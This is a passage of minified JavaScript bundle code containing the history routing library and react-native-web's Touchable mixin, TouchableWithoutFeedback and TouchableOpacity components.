Error(t.replace(/%s/g,(function(){return String(o[l++])})))).name="Invariant Violation"}throw a.framesToPop=1,a}}},function(e,t,n){"use strict";function r(){return(r=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}n.d(t,"a",(function(){return r}))},function(e,t,n){"use strict";var r=!("undefined"===typeof window||!window.document||!window.document.createElement),o={canUseDOM:r,canUseWorkers:"undefined"!==typeof Worker,canUseEventListeners:r&&!(!window.addEventListener&&!window.attachEvent),canUseViewport:r&&!!window.screen,isInWorker:!r};e.exports=o},function(e,t,n){"use strict";n.d(t,"b",(function(){return r})),n.d(t,"c",(function(){return o})),n.d(t,"d",(function(){return i})),n.d(t,"a",(function(){return a})),n.d(t,"e",(function(){return l}));var r="react-native-stylesheet",o={reset:0,modality:.1,classicReset:.5,classic:1,atomic:2.2,custom:{borderColor:2,borderRadius:2,borderStyle:2,borderWidth:2,display:2,flex:2,margin:2,overflow:2,overscrollBehavior:2,padding:2,marginHorizontal:2.1,marginVertical:2.1,paddingHorizontal:2.1,paddingVertical:2.1}},i={borderColor:["borderTopColor","borderRightColor","borderBottomColor","borderLeftColor"],borderRadius:["borderTopLeftRadius","borderTopRightRadius","borderBottomRightRadius","borderBottomLeftRadius"],borderStyle:["borderTopStyle","borderRightStyle","borderBottomStyle","borderLeftStyle"],borderWidth:["borderTopWidth","borderRightWidth","borderBottomWidth","borderLeftWidth"],margin:["marginTop","marginRight","marginBottom","marginLeft"],marginHorizontal:["marginRight","marginLeft"],marginVertical:["marginTop","marginBottom"],overflow:["overflowX","overflowY"],overscrollBehavior:["overscrollBehaviorX","overscrollBehaviorY"],padding:["paddingTop","paddingRight","paddingBottom","paddingLeft"],paddingHorizontal:["paddingRight","paddingLeft"],paddingVertical:["paddingTop","paddingBottom"]},a="monospace,monospace",l='system-ui,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Ubuntu,"Helvetica Neue",sans-serif'},function(e,t,n){"use strict";var r=n(20);t.a=function(e){var t;try{t=Object(r.findDOMNode)(e)}catch(n){}return t}},function(e,t,n){"use strict";var r;n(30);r=function(){},t.a=r},function(e,t,n){"use strict";t.a=function(e,t){if(!e)throw new Error("Invariant failed")}},function(e,t,n){"use strict";var r=n(6);function o(e){return"/"===e.charAt(0)}function i(e,t){for(var n=t,r=n+1,o=e.length;r<o;n+=1,r+=1)e[n]=e[r];e.pop()}var a=function(e,t){void 0===t&&(t="");var n,r=e&&e.split("/")||[],a=t&&t.split("/")||[],l=e&&o(e),u=t&&o(t),s=l||u;if(e&&o(e)?a=r:r.length&&(a.pop(),a=a.concat(r)),!a.length)return"/";if(a.length){var c=a[a.length-1];n="."===c||".."===c||""===c}else n=!1;for(var f=0,d=a.length;d>=0;d--){var p=a[d];"."===p?i(a,d):".."===p?(i(a,d),f++):f&&(i(a,d),f--)}if(!s)for(;f--;f)a.unshift("..");!s||""===a[0]||a[0]&&o(a[0])||a.unshift("");var h=a.join("/");return n&&"/"!==h.substr(-1)&&(h+="/"),h};function l(e){return e.valueOf?e.valueOf():Object.prototype.valueOf.call(e)}var u=function e(t,n){if(t===n)return!0;if(null==t||null==n)return!1;if(Array.isArray(t))return Array.isArray(n)&&t.length===n.length&&t.every((function(t,r){return e(t,n[r])}));if("object"===typeof t||"object"===typeof n){var r=l(t),o=l(n);return r!==t||o!==n?e(r,o):Object.keys(Object.assign({},t,n)).every((function(r){return e(t[r],n[r])}))}return!1},s=n(11);function c(e){return"/"===e.charAt(0)?e:"/"+e}function f(e){return"/"===e.charAt(0)?e.substr(1):e}function d(e,t){return function(e,t){return 0===e.toLowerCase().indexOf(t.toLowerCase())&&-1!=="/?#".indexOf(e.charAt(t.length))}(e,t)?e.substr(t.length):e}function p(e){return"/"===e.charAt(e.length-1)?e.slice(0,-1):e}function h(e){var t=e.pathname,n=e.search,r=e.hash,o=t||"/";return n&&"?"!==n&&(o+="?"===n.charAt(0)?n:"?"+n),r&&"#"!==r&&(o+="#"===r.charAt(0)?r:"#"+r),o}function m(e,t,n,o){var i;"string"===typeof e?(i=function(e){var t=e||"/",n="",r="",o=t.indexOf("#");-1!==o&&(r=t.substr(o),t=t.substr(0,o));var i=t.indexOf("?");return-1!==i&&(n=t.substr(i),t=t.substr(0,i)),{pathname:t,search:"?"===n?"":n,hash:"#"===r?"":r}}(e)).state=t:(void 0===(i=Object(r.a)({},e)).pathname&&(i.pathname=""),i.search?"?"!==i.search.charAt(0)&&(i.search="?"+i.search):i.search="",i.hash?"#"!==i.hash.charAt(0)&&(i.hash="#"+i.hash):i.hash="",void 0!==t&&void 0===i.state&&(i.state=t));try{i.pathname=decodeURI(i.pathname)}catch(l){throw l instanceof URIError?new URIError('Pathname "'+i.pathname+'" could not be decoded. This is likely caused by an invalid percent-encoding.'):l}return n&&(i.key=n),o?i.pathname?"/"!==i.pathname.charAt(0)&&(i.pathname=a(i.pathname,o.pathname)):i.pathname=o.pathname:i.pathname||(i.pathname="/"),i}function g(e,t){return e.pathname===t.pathname&&e.search===t.search&&e.hash===t.hash&&e.key===t.key&&u(e.state,t.state)}function v(){var e=null;var t=[];return{setPrompt:function(t){return e=t,function(){e===t&&(e=null)}},confirmTransitionTo:function(t,n,r,o){if(null!=e){var i="function"===typeof e?e(t,n):e;"string"===typeof i?"function"===typeof r?r(i,o):o(!0):o(!1!==i)}else o(!0)},appendListener:function(e){var n=!0;function r(){n&&e.apply(void 0,arguments)}return t.push(r),function(){n=!1,t=t.filter((function(e){return e!==r}))}},notifyListeners:function(){for(var e=arguments.length,n=new Array(e),r=0;r<e;r++)n[r]=arguments[r];t.forEach((function(e){return e.apply(void 0,n)}))}}}n.d(t,"a",(function(){return E})),n.d(t,"b",(function(){return k})),n.d(t,"d",(function(){return P})),n.d(t,"c",(function(){return m})),n.d(t,"f",(function(){return g})),n.d(t,"e",(function(){return h}));var y=!("undefined"===typeof window||!window.document||!window.document.createElement);function b(e,t){t(window.confirm(e))}function w(){try{return window.history.state||{}}catch(e){return{}}}function E(e){void 0===e&&(e={}),y||Object(s.a)(!1);var t=window.history,n=function(){var e=window.navigator.userAgent;return(-1===e.indexOf("Android 2.")&&-1===e.indexOf("Android 4.0")||-1===e.indexOf("Mobile Safari")||-1!==e.indexOf("Chrome")||-1!==e.indexOf("Windows Phone"))&&(window.history&&"pushState"in window.history)}(),o=!(-1===window.navigator.userAgent.indexOf("Trident")),i=e,a=i.forceRefresh,l=void 0!==a&&a,u=i.getUserConfirmation,f=void 0===u?b:u,g=i.keyLength,E=void 0===g?6:g,x=e.basename?p(c(e.basename)):"";function S(e){var t=e||{},n=t.key,r=t.state,o=window.location,i=o.pathname+o.search+o.hash;return x&&(i=d(i,x)),m(i,r,n)}function T(){return Math.random().toString(36).substr(2,E)}var O=v();function k(e){Object(r.a)(z,e),z.length=t.length,O.notifyListeners(z.location,z.action)}function _(e){(function(e){return void 0===e.state&&-1===navigator.userAgent.indexOf("CriOS")})(e)||C(S(e.state))}function P(){C(S(w()))}var R=!1;function C(e){if(R)R=!1,k();else{O.confirmTransitionTo(e,"POP",f,(function(t){t?k({action:"POP",location:e}):function(e){var t=z.location,n=A.indexOf(t.key);-1===n&&(n=0);var r=A.indexOf(e.key);-1===r&&(r=0);var o=n-r;o&&(R=!0,D(o))}(e)}))}}var N=S(w()),A=[N.key];function j(e){return x+h(e)}function D(e){t.go(e)}var L=0;function I(e){1===(L+=e)&&1===e?(window.addEventListener("popstate",_),o&&window.addEventListener("hashchange",P)):0===L&&(window.removeEventListener("popstate",_),o&&window.removeEventListener("hashchange",P))}var M=!1;var z={length:t.length,action:"POP",location:N,createHref:j,push:function(e,r){var o=m(e,r,T(),z.location);O.confirmTransitionTo(o,"PUSH",f,(function(e){if(e){var r=j(o),i=o.key,a=o.state;if(n)if(t.pushState({key:i,state:a},null,r),l)window.location.href=r;else{var u=A.indexOf(z.location.key),s=A.slice(0,u+1);s.push(o.key),A=s,k({action:"PUSH",location:o})}else window.location.href=r}}))},replace:function(e,r){var o=m(e,r,T(),z.location);O.confirmTransitionTo(o,"REPLACE",f,(function(e){if(e){var r=j(o),i=o.key,a=o.state;if(n)if(t.replaceState({key:i,state:a},null,r),l)window.location.replace(r);else{var u=A.indexOf(z.location.key);-1!==u&&(A[u]=o.key),k({action:"REPLACE",location:o})}else window.location.replace(r)}}))},go:D,goBack:function(){D(-1)},goForward:function(){D(1)},block:function(e){void 0===e&&(e=!1);var t=O.setPrompt(e);return M||(I(1),M=!0),function(){return M&&(M=!1,I(-1)),t()}},listen:function(e){var t=O.appendListener(e);return I(1),function(){I(-1),t()}}};return z}var x={hashbang:{encodePath:function(e){return"!"===e.charAt(0)?e:"!/"+f(e)},decodePath:function(e){return"!"===e.charAt(0)?e.substr(1):e}},noslash:{encodePath:f,decodePath:c},slash:{encodePath:c,decodePath:c}};function S(e){var t=e.indexOf("#");return-1===t?e:e.slice(0,t)}function T(){var e=window.location.href,t=e.indexOf("#");return-1===t?"":e.substring(t+1)}function O(e){window.location.replace(S(window.location.href)+"#"+e)}function k(e){void 0===e&&(e={}),y||Object(s.a)(!1);var t=window.history,n=(window.navigator.userAgent.indexOf("Firefox"),e),o=n.getUserConfirmation,i=void 0===o?b:o,a=n.hashType,l=void 0===a?"slash":a,u=e.basename?p(c(e.basename)):"",f=x[l],g=f.encodePath,w=f.decodePath;function E(){var e=w(T());return u&&(e=d(e,u)),m(e)}var k=v();function _(e){Object(r.a)(F,e),F.length=t.length,k.notifyListeners(F.location,F.action)}var P=!1,R=null;function C(){var e,t,n=T(),r=g(n);if(n!==r)O(r);else{var o=E(),a=F.location;if(!P&&(t=o,(e=a).pathname===t.pathname&&e.search===t.search&&e.hash===t.hash))return;if(R===h(o))return;R=null,function(e){if(P)P=!1,_();else{k.confirmTransitionTo(e,"POP",i,(function(t){t?_({action:"POP",location:e}):function(e){var t=F.location,n=D.lastIndexOf(h(t));-1===n&&(n=0);var r=D.lastIndexOf(h(e));-1===r&&(r=0);var o=n-r;o&&(P=!0,L(o))}(e)}))}}(o)}}var N=T(),A=g(N);N!==A&&O(A);var j=E(),D=[h(j)];function L(e){t.go(e)}var I=0;function M(e){1===(I+=e)&&1===e?window.addEventListener("hashchange",C):0===I&&window.removeEventListener("hashchange",C)}var z=!1;var F={length:t.length,action:"POP",location:j,createHref:function(e){var t=document.querySelector("base"),n="";return t&&t.getAttribute("href")&&(n=S(window.location.href)),n+"#"+g(u+h(e))},push:function(e,t){var n=m(e,void 0,void 0,F.location);k.confirmTransitionTo(n,"PUSH",i,(function(e){if(e){var t=h(n),r=g(u+t);if(T()!==r){R=t,function(e){window.location.hash=e}(r);var o=D.lastIndexOf(h(F.location)),i=D.slice(0,o+1);i.push(t),D=i,_({action:"PUSH",location:n})}else _()}}))},replace:function(e,t){var n=m(e,void 0,void 0,F.location);k.confirmTransitionTo(n,"REPLACE",i,(function(e){if(e){var t=h(n),r=g(u+t);T()!==r&&(R=t,O(r));var o=D.indexOf(h(F.location));-1!==o&&(D[o]=t),_({action:"REPLACE",location:n})}}))},go:L,goBack:function(){L(-1)},goForward:function(){L(1)},block:function(e){void 0===e&&(e=!1);var t=k.setPrompt(e);return z||(M(1),z=!0),function(){return z&&(z=!1,M(-1)),t()}},listen:function(e){var t=k.appendListener(e);return M(1),function(){M(-1),t()}}};return F}function _(e,t,n){return Math.min(Math.max(e,t),n)}function P(e){void 0===e&&(e={});var t=e,n=t.getUserConfirmation,o=t.initialEntries,i=void 0===o?["/"]:o,a=t.initialIndex,l=void 0===a?0:a,u=t.keyLength,s=void 0===u?6:u,c=v();function f(e){Object(r.a)(w,e),w.length=w.entries.length,c.notifyListeners(w.location,w.action)}function d(){return Math.random().toString(36).substr(2,s)}var p=_(l,0,i.length-1),g=i.map((function(e){return m(e,void 0,"string"===typeof e?d():e.key||d())})),y=h;function b(e){var t=_(w.index+e,0,w.entries.length-1),r=w.entries[t];c.confirmTransitionTo(r,"POP",n,(function(e){e?f({action:"POP",location:r,index:t}):f()}))}var w={length:g.length,action:"POP",location:g[p],index:p,entries:g,createHref:y,push:function(e,t){var r=m(e,t,d(),w.location);c.confirmTransitionTo(r,"PUSH",n,(function(e){if(e){var t=w.index+1,n=w.entries.slice(0);n.length>t?n.splice(t,n.length-t,r):n.push(r),f({action:"PUSH",location:r,index:t,entries:n})}}))},replace:function(e,t){var r=m(e,t,d(),w.location);c.confirmTransitionTo(r,"REPLACE",n,(function(e){e&&(w.entries[w.index]=r,f({action:"REPLACE",location:r}))}))},go:b,goBack:function(){b(-1)},goForward:function(){b(1)},canGo:function(e){var t=w.index+e;return t>=0&&t<w.entries.length},block:function(e){return void 0===e&&(e=!1),c.setPrompt(e)},listen:function(e){return c.appendListener(e)}};return w}},function(e,t,n){"use strict";var r=n(31),o=n(46),i=n.n(o),a=n(5),l=n.n(a),u=function(e){l()(!(e.delayPressIn<0||e.delayPressOut<0||e.delayLongPress<0),"Touchable components cannot have negative delay properties")},s=n(0),c=n(1),f=n.n(c),d=n(4),p=n(14),h=function(e,t){if(this.instancePool.length){var n=this.instancePool.pop();return this.call(n,e,t),n}return new this(e,t)},m=function(e){e.destructor(),this.instancePool.length<this.poolSize&&this.instancePool.push(e)},g=h,v={addPoolingTo:function(e,t){var n=e;return n.instancePool=[],n.getPooled=t||g,n.poolSize||(n.poolSize=10),n.release=m,n},twoArgumentPooler:h},y=v.twoArgumentPooler;function b(e,t){this.width=e,this.height=t}b.prototype.destructor=function(){this.width=null,this.height=null},b.getPooledFromElement=function(e){return b.getPooled(e.offsetWidth,e.offsetHeight)},v.addPoolingTo(b,y);var w=b,E=n(9),x=(n(50),v.twoArgumentPooler);function S(e,t){this.left=e,this.top=t}S.prototype.destructor=function(){this.left=null,this.top=null},v.addPoolingTo(S,x);var T=S,O=n(56),k=n.n(O),_=n(16);var P="NOT_RESPONDER",R="RESPONDER_INACTIVE_PRESS_IN",C="RESPONDER_INACTIVE_PRESS_OUT",N="RESPONDER_ACTIVE_PRESS_IN",A="RESPONDER_ACTIVE_PRESS_OUT",j="RESPONDER_ACTIVE_LONG_PRESS_IN",D="RESPONDER_ACTIVE_LONG_PRESS_OUT",L="ERROR",I={RESPONDER_ACTIVE_PRESS_OUT:!0,RESPONDER_ACTIVE_PRESS_IN:!0},M={RESPONDER_INACTIVE_PRESS_IN:!0,RESPONDER_ACTIVE_PRESS_IN:!0,RESPONDER_ACTIVE_LONG_PRESS_IN:!0},z={RESPONDER_ACTIVE_LONG_PRESS_IN:!0},F="DELAY",U="RESPONDER_GRANT",B="RESPONDER_RELEASE",W="RESPONDER_TERMINATED",H="ENTER_PRESS_RECT",V="LEAVE_PRESS_RECT",Y="LONG_PRESS_DETECTED",G={NOT_RESPONDER:{DELAY:L,RESPONDER_GRANT:R,RESPONDER_RELEASE:L,RESPONDER_TERMINATED:L,ENTER_PRESS_RECT:L,LEAVE_PRESS_RECT:L,LONG_PRESS_DETECTED:L},RESPONDER_INACTIVE_PRESS_IN:{DELAY:N,RESPONDER_GRANT:L,RESPONDER_RELEASE:P,RESPONDER_TERMINATED:P,ENTER_PRESS_RECT:R,LEAVE_PRESS_RECT:C,LONG_PRESS_DETECTED:L},RESPONDER_INACTIVE_PRESS_OUT:{DELAY:A,RESPONDER_GRANT:L,RESPONDER_RELEASE:P,RESPONDER_TERMINATED:P,ENTER_PRESS_RECT:R,LEAVE_PRESS_RECT:C,LONG_PRESS_DETECTED:L},RESPONDER_ACTIVE_PRESS_IN:{DELAY:L,RESPONDER_GRANT:L,RESPONDER_RELEASE:P,RESPONDER_TERMINATED:P,ENTER_PRESS_RECT:N,LEAVE_PRESS_RECT:A,LONG_PRESS_DETECTED:j},RESPONDER_ACTIVE_PRESS_OUT:{DELAY:L,RESPONDER_GRANT:L,RESPONDER_RELEASE:P,RESPONDER_TERMINATED:P,ENTER_PRESS_RECT:N,LEAVE_PRESS_RECT:A,LONG_PRESS_DETECTED:L},RESPONDER_ACTIVE_LONG_PRESS_IN:{DELAY:L,RESPONDER_GRANT:L,RESPONDER_RELEASE:P,RESPONDER_TERMINATED:P,ENTER_PRESS_RECT:j,LEAVE_PRESS_RECT:D,LONG_PRESS_DETECTED:j},RESPONDER_ACTIVE_LONG_PRESS_OUT:{DELAY:L,RESPONDER_GRANT:L,RESPONDER_RELEASE:P,RESPONDER_TERMINATED:P,ENTER_PRESS_RECT:j,LEAVE_PRESS_RECT:D,LONG_PRESS_DETECTED:L},error:{DELAY:P,RESPONDER_GRANT:R,RESPONDER_RELEASE:P,RESPONDER_TERMINATED:P,ENTER_PRESS_RECT:P,LEAVE_PRESS_RECT:P,LONG_PRESS_DETECTED:P}},$={Mixin:{componentDidMount:function(){var e=this;this._touchableNode=Object(E.a)(this),this._touchableNode&&this._touchableNode.addEventListener&&(this._touchableBlurListener=function(t){e._isTouchableKeyboardActive&&(e.state.touchable.touchState&&e.state.touchable.touchState!==P&&e.touchableHandleResponderTerminate({nativeEvent:t}),e._isTouchableKeyboardActive=!1)},this._touchableNode.addEventListener("blur",this._touchableBlurListener))},componentWillUnmount:function(){this._touchableNode&&this._touchableNode.addEventListener&&this._touchableNode.removeEventListener("blur",this._touchableBlurListener),this.touchableDelayTimeout&&clearTimeout(this.touchableDelayTimeout),this.longPressDelayTimeout&&clearTimeout(this.longPressDelayTimeout),this.pressOutDelayTimeout&&clearTimeout(this.pressOutDelayTimeout)},touchableGetInitialState:function(){return{touchable:{touchState:void 0,responderID:null}}},touchableHandleResponderTerminationRequest:function(){return!this.props.rejectResponderTermination},touchableHandleStartShouldSetResponder:function(){return!this.props.disabled},touchableLongPressCancelsPress:function(){return!0},touchableHandleResponderGrant:function(e){var t=e.currentTarget;e.persist(),this.pressOutDelayTimeout&&clearTimeout(this.pressOutDelayTimeout),this.pressOutDelayTimeout=null,this.state.touchable.touchState=P,this.state.touchable.responderID=t,this._receiveSignal(U,e);var n=void 0!==this.touchableGetHighlightDelayMS?Math.max(this.touchableGetHighlightDelayMS(),0):130;0!==(n=isNaN(n)?130:n)?this.touchableDelayTimeout=setTimeout(this._handleDelay.bind(this,e),n):(this.state.touchable.positionOnActivate=null,this._handleDelay(e));var r=void 0!==this.touchableGetLongPressDelayMS?Math.max(this.touchableGetLongPressDelayMS(),10):370;r=isNaN(r)?370:r,this.longPressDelayTimeout=setTimeout(this._handleLongDelay.bind(this,e),r+n)},touchableHandleResponderRelease:function(e){this._receiveSignal(B,e)},touchableHandleResponderTerminate:function(e){this._receiveSignal(W,e)},touchableHandleResponderMove:function(e){if(this.state.touchable.touchState!==R&&this.state.touchable.positionOnActivate){var t=this.state.touchable.positionOnActivate,n=this.state.touchable.dimensionsOnActivate,r=this.touchableGetPressRectOffset?this.touchableGetPressRectOffset():{left:20,right:20,top:20,bottom:20},o=r.left,i=r.top,a=r.right,l=r.bottom,u=this.touchableGetHitSlop?this.touchableGetHitSlop():null;u&&(o+=u.left,i+=u.top,a+=u.right,l+=u.bottom);var s=k.a.extractSingleTouch(e.nativeEvent),c=s&&s.pageX,f=s&&s.pageY;if(this.pressInLocation)this._getDistanceBetweenPoints(c,f,this.pressInLocation.pageX,this.pressInLocation.pageY)>10&&this._cancelLongPressDelayTimeout();if(c>t.left-o&&f>t.top-i&&c<t.left+n.width+a&&f<t.top+n.height+l)this._receiveSignal(H,e),this.state.touchable.touchState===R&&this._cancelLongPressDelayTimeout();else this._cancelLongPressDelayTimeout(),this._receiveSignal(V,e)}},_remeasureMetricsOnActivation:function(){var e=this.state.touchable.responderID;null!=e&&_.a.measure(e,this._handleQueryLayout)},_handleQueryLayout:function(e,t,n,r,o,i){(e||t||n||r||o||i)&&(this.state.touchable.positionOnActivate&&T.release(this.state.touchable.positionOnActivate),this.state.touchable.dimensionsOnActivate&&w.release(this.state.touchable.dimensionsOnActivate),this.state.touchable.positionOnActivate=T.getPooled(o,i),this.state.touchable.dimensionsOnActivate=w.getPooled(n,r))},_handleDelay:function(e){this.touchableDelayTimeout=null,this._receiveSignal(F,e)},_handleLongDelay:function(e){this.longPressDelayTimeout=null;var t=this.state.touchable.touchState;t!==N&&t!==j?console.error("Attempted to transition from state `"+t+"` to `"+j+"`, which is not supported. This is most likely due to `Touchable.longPressDelayTimeout` not being cancelled."):this._receiveSignal(Y,e)},_receiveSignal:function(e,t){var n=this.state.touchable.responderID,r=this.state.touchable.touchState,o=G[r]&&G[r][e];if(n||e!==B){if(!o)throw new Error("Unrecognized signal `"+e+"` or state `"+r+"` for Touchable responder `"+n+"`");if(o===L)throw new Error("Touchable cannot transition from `"+r+"` to `"+e+"` for responder `"+n+"`");r!==o&&(this._performSideEffectsForTransition(r,o,e,t),this.state.touchable.touchState=o)}},_cancelLongPressDelayTimeout:function(){this.longPressDelayTimeout&&clearTimeout(this.longPressDelayTimeout),this.longPressDelayTimeout=null},_isHighlight:function(e){return e===N||e===j},_savePressInLocation:function(e){var t=k.a.extractSingleTouch(e.nativeEvent),n=t&&t.pageX,r=t&&t.pageY;this.pressInLocation={pageX:n,pageY:r,get locationX(){return t&&t.locationX},get locationY(){return t&&t.locationY}}},_getDistanceBetweenPoints:function(e,t,n,r){var o=e-n,i=t-r;return Math.sqrt(o*o+i*i)},_performSideEffectsForTransition:function(e,t,n,r){var o=this._isHighlight(e),i=this._isHighlight(t);if((n===W||n===B)&&this._cancelLongPressDelayTimeout(),!I[e]&&I[t]&&this._remeasureMetricsOnActivation(),M[e]&&n===Y&&this.touchableHandleLongPress&&this.touchableHandleLongPress(r),i&&!o?this._startHighlight(r):!i&&o&&this._endHighlight(r),M[e]&&n===B){var a=!!this.props.onLongPress,l=z[e]&&(!a||!this.touchableLongPressCancelsPress());(!z[e]||l)&&this.touchableHandlePress&&(i||o||(this._startHighlight(r),this._endHighlight(r)),this.touchableHandlePress(r))}this.touchableDelayTimeout&&clearTimeout(this.touchableDelayTimeout),this.touchableDelayTimeout=null},_startHighlight:function(e){this._savePressInLocation(e),this.touchableHandleActivePressIn&&this.touchableHandleActivePressIn(e)},_endHighlight:function(e){var t=this;this.touchableHandleActivePressOut&&(this.touchableGetPressOutDelayMS&&this.touchableGetPressOutDelayMS()?this.pressOutDelayTimeout=setTimeout((function(){t.touchableHandleActivePressOut(e)}),this.touchableGetPressOutDelayMS()):this.touchableHandleActivePressOut(e))},touchableHandleKeyEvent:function(e){var t=e.type,n=e.which;13!==n&&32!==n||("keydown"===t?this._isTouchableKeyboardActive||this.state.touchable.touchState&&this.state.touchable.touchState!==P||(this.touchableHandleResponderGrant(e),this._isTouchableKeyboardActive=!0):"keyup"===t&&this._isTouchableKeyboardActive&&this.state.touchable.touchState&&this.state.touchable.touchState!==P&&(this.touchableHandleResponderRelease(e),this._isTouchableKeyboardActive=!1),e.stopPropagation(),13===n&&"link"===p.a.propsToAriaRole(this.props)||e.preventDefault())}},TOUCH_TARGET_DEBUG:!1,renderDebugView:function(e){e.color,e.hitSlop}},X=n(38),K=n(80),q=n.n(K),Q=n(51).a,J=n(42),Z=n.n(J);function ee(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var te={top:20,left:20,right:20,bottom:30},ne=i()({displayName:"TouchableWithoutFeedback",mixins:[q.a,$.Mixin],propTypes:{accessibilityComponentType:Q.accessibilityComponentType,accessibilityLabel:s.string,accessibilityRole:Q.accessibilityRole,accessibilityTraits:Q.accessibilityTraits,accessible:s.bool,children:s.any,delayLongPress:s.number,delayPressIn:s.number,delayPressOut:s.number,disabled:s.bool,hitSlop:X.a,onLayout:s.func,onLongPress:s.func,onPress:s.func,onPressIn:s.func,onPressOut:s.func,pressRetentionOffset:X.a,testID:s.string},getInitialState:function(){return this.touchableGetInitialState()},componentDidMount:function(){u(this.props)},componentWillReceiveProps:function(e){u(e)},touchableHandlePress:function(e){this.props.onPress&&this.props.onPress(e)},touchableHandleActivePressIn:function(e){this.props.onPressIn&&this.props.onPressIn(e)},touchableHandleActivePressOut:function(e){this.props.onPressOut&&this.props.onPressOut(e)},touchableHandleLongPress:function(e){this.props.onLongPress&&this.props.onLongPress(e)},touchableGetPressRectOffset:function(){return this.props.pressRetentionOffset||te},touchableGetHitSlop:function(){return this.props.hitSlop},touchableGetHighlightDelayMS:function(){return this.props.delayPressIn||0},touchableGetLongPressDelayMS:function(){return 0===this.props.delayLongPress?0:this.props.delayLongPress||500},touchableGetPressOutDelayMS:function(){return this.props.delayPressOut||0},render:function(){var e=this.props,t=(e.delayLongPress,e.delayPressIn,e.delayPressOut,e.onLongPress,e.onPress,e.onPressIn,e.onPressOut,e.pressRetentionOffset,function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,["delayLongPress","delayPressIn","delayPressOut","onLongPress","onPress","onPressIn","onPressOut","pressRetentionOffset"])),n=f.a.Children.only(this.props.children),r=n.props.children;Z()(!n.type||"Text"!==n.type.displayName,"TouchableWithoutFeedback does not work well with Text children. Wrap children in a View instead. See "+(n._owner&&n._owner.getName&&n._owner.getName()||"<unknown>"));var o=$.TOUCH_TARGET_DEBUG&&n.type&&"Text"===n.type.displayName?[!this.props.disabled&&re.actionable,n.props.style,{color:"red"}]:[!this.props.disabled&&re.actionable,n.props.style];return f.a.cloneElement(n,function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{},r=Object.keys(n);"function"===typeof Object.getOwnPropertySymbols&&(r=r.concat(Object.getOwnPropertySymbols(n).filter((function(e){return Object.getOwnPropertyDescriptor(n,e).enumerable})))),r.forEach((function(t){ee(e,t,n[t])}))}return e}({},t,{accessible:!1!==this.props.accessible,children:r,onKeyDown:this.touchableHandleKeyEvent,onKeyUp:this.touchableHandleKeyEvent,onResponderGrant:this.touchableHandleResponderGrant,onResponderMove:this.touchableHandleResponderMove,onResponderRelease:this.touchableHandleResponderRelease,onResponderTerminate:this.touchableHandleResponderTerminate,onResponderTerminationRequest:this.touchableHandleResponderTerminationRequest,onStartShouldSetResponder:this.touchableHandleStartShouldSetResponder,style:o}))}}),re=d.a.create({actionable:{cursor:"pointer",touchAction:"manipulation"}}),oe=ne,ie=n(3);function ae(){return(ae=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function le(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var ue=d.a.flatten,se={top:20,left:20,right:20,bottom:30},ce=i()({displayName:"TouchableOpacity",mixins:[$.Mixin],propTypes:function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{},r=Object.keys(n);"function"===typeof Object.getOwnPropertySymbols&&(r=r.concat(Object.getOwnPropertySymbols(n).filter((function(e){return Object.getOwnPropertyDescriptor(n,e).enumerable})))),r.forEach((function(t){le(e,t,n[t])}))}return e}({},oe.propTypes,{activeOpacity:s.number,focusedOpacity:s.number}),getDefaultProps:function(){return{activeOpacity:.2,focusedOpacity:.7}},getInitialState:function(){return this.touchableGetInitialState()},componentDidMount:function(){u(this.props)},componentWillReceiveProps:function(e){u(e)},setOpacityTo:function(e,t){this.setNativeProps({style:{opacity:e,transitionDuration:t?t/1e3+"s":"0s"}})},touchableHandleActivePressIn:function(e){"onResponderGrant"===e.dispatchConfig.registrationName?this._opacityActive(0):this._opacityActive(150),this.props.onPressIn&&this.props.onPressIn(e)},touchableHandleActivePressOut:function(e){this._opacityInactive(250),this.props.onPressOut&&this.props.onPressOut(e)},touchableHandlePress:function(e){this.props.onPress&&this.props.onPress(e)},touchableHandleLongPress:function(e){this.props.onLongPress&&this.props.onLongPress(e)},touchableGetPressRectOffset:function(){return this.props.pressRetentionOffset||se},touchableGetHitSlop:function(){return this.props.hitSlop},touchableGetHighlightDelayMS:function(){return this.props.delayPressIn||0},touchableGetLongPressDelayMS:function(){return 0===this.props.delayLongPress?0:this.props.delayLongPress||500},touchableGetPressOutDelayMS:function(){return this.props.delayPressOut},_opacityActive:function(e){this.setOpacityTo(this.props.activeOpacity,e)},_opacityInactive:function(e){this.setOpacityTo(this._getChildStyleOpacityWithDefault(),e)},_opacityFocused:function(){this.setOpacityTo(this.props.focusedOpacity)},_getChildStyleOpacityWithDefault:function(){var e=ue(this.props.style)||{};return void 0===e.opacity?1:e.opacity},render:function(){var e=this.props,t=(e.activeOpacity,e.focusedOpacity,e.delayLongPress,e.delayPressIn,e.delayPressOut,e.onLongPress,e.onPress,e.onPressIn,e.onPressOut,e.pressRetentionOffset,function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,["activeOpacity","focusedOpacity","delayLongPress","delayPressIn","delayPressOut","onLongPress","onPress","onPressIn","onPressOut","pressRetentionOffset"]));return 